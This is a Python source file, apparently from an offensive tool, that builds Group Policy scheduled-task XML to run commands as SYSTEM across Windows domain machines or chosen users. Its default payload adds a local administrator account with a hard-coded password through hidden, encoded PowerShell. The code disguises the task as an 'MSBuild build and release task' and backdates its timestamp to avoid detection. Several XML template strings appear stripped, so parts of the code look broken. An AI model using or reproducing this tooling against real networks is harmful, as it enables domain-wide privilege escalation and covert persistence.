import binascii
import logging
import os
import re
import uuid
from base64 import b64encode
from datetime import datetime, timedelta
from xml.sax.saxutils import escape, quoteattr
import xml.etree.ElementTree as ET
class ScheduledTask:
def __init__(self, gpo_type="computer", name="", mod_date="", description="", powershell=False, command="", old_value="", filter_enabled=False, target_dns_name="", target_username="", target_user_sid=""):
self._type = gpo_type
if name:
self._name = escape(name, {'"': '"'})
else:
self._name = "TASK_" + binascii.b2a_hex(os.urandom(4)).decode('ascii')
if mod_date:
self._mod_date = mod_date
else:
mod_date = datetime.now() - timedelta(days=30)
self._mod_date = mod_date.strftime("%Y-%m-%d %H:%M:%S")
self._guid = str(uuid.uuid4()).upper()
self._author = "NT AUTHORITY\\System"
if description:
self._description = escape(description)
else:
self._description = "MSBuild build and release task"
if powershell:
self._shell = escape("powershell.exe")
if command:
self._command = escape('-windowstyle hidden -nop -enc {}'.format(b64encode(command.encode('UTF-16LE')).decode("utf-8")))
else:
self._command = escape('-windowstyle hidden -nop -enc {}'.format(b64encode('net user john H4x00r123.. /add;net localgroup administrators john /add'.encode('UTF-16LE')).decode('utf-8')))
else:
self._shell = escape('c:\\windows\\system32\\cmd.exe')
if command:
self._command = escape('/c "{}"'.format(command))
else:
self._command = escape('/c "net user john H4x00r123.. /add && net localgroup administrators john /add"')
logging.debug(self._shell + " " + self._command)
self._old_value = old_value
self._task_str_begin = f""""""
if self._type == "computer":
self._task_str = f"""{self._author}{self._description}NT AUTHORITY\\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3{self._shell}{self._command}%LocalTimeXmlEx%%LocalTimeXmlEx%true"""
elif self._type == "user-as-admin":
self._task_str = f"""{self._author}{self._description}NT AUTHORITY\\SystemS4UHighestAvailablePT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true{self._shell}{self._command}"""
else:
self._task_str = f"""{self._author}{self._description}%LogonDomain%\\%LogonUser%InteractiveTokenHighestAvailablePT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true{self._shell}{self._command}"""
# Targeting single hosts/users through filtering
# host (computer GPO) or principal (user GPO) instead of every object in the GPO scope
# XML mirrors SharpGPOAbuse --FilterEnabled output.
self._filters = ""
if filter_enabled:
if self._type == "computer":
if target_dns_name:
_dns = escape(target_dns_name, {'"': '"'})
self._filters = ''.format(_dns)
else:
if target_username or target_user_sid:
_fu = ''
self._filters = '{}'.format(_fu)
if self._filters:
self._task_str = self._task_str.replace(
"",
"" + self._filters + ""
)
self._task_str_end = f""""""
def generate_scheduled_task_xml(self):
if self._old_value == "":
return self._task_str_begin + self._task_str + self._task_str_end
return re.sub(r"< */ *ScheduledTasks>", self._task_str.replace("\\", "\\\\") + self._task_str_end, self._old_value)
def get_name(self):
return self._name
def parse_tasks(self, xml_tasks):
elem = ET.fromstring(xml_tasks)
tasks = []
for child in elem.findall("*"):
task_type = child.tag
task_properties = child.find("Properties")
if task_properties is None:
tasks.append(["?", "", task_type or ""])
continue
action = task_properties.get('action')
name = task_properties.get('name')
tasks.append([
action if action is not None else "?",
name if name is not None else "",
task_type if task_type is not None else ""
])
return tasks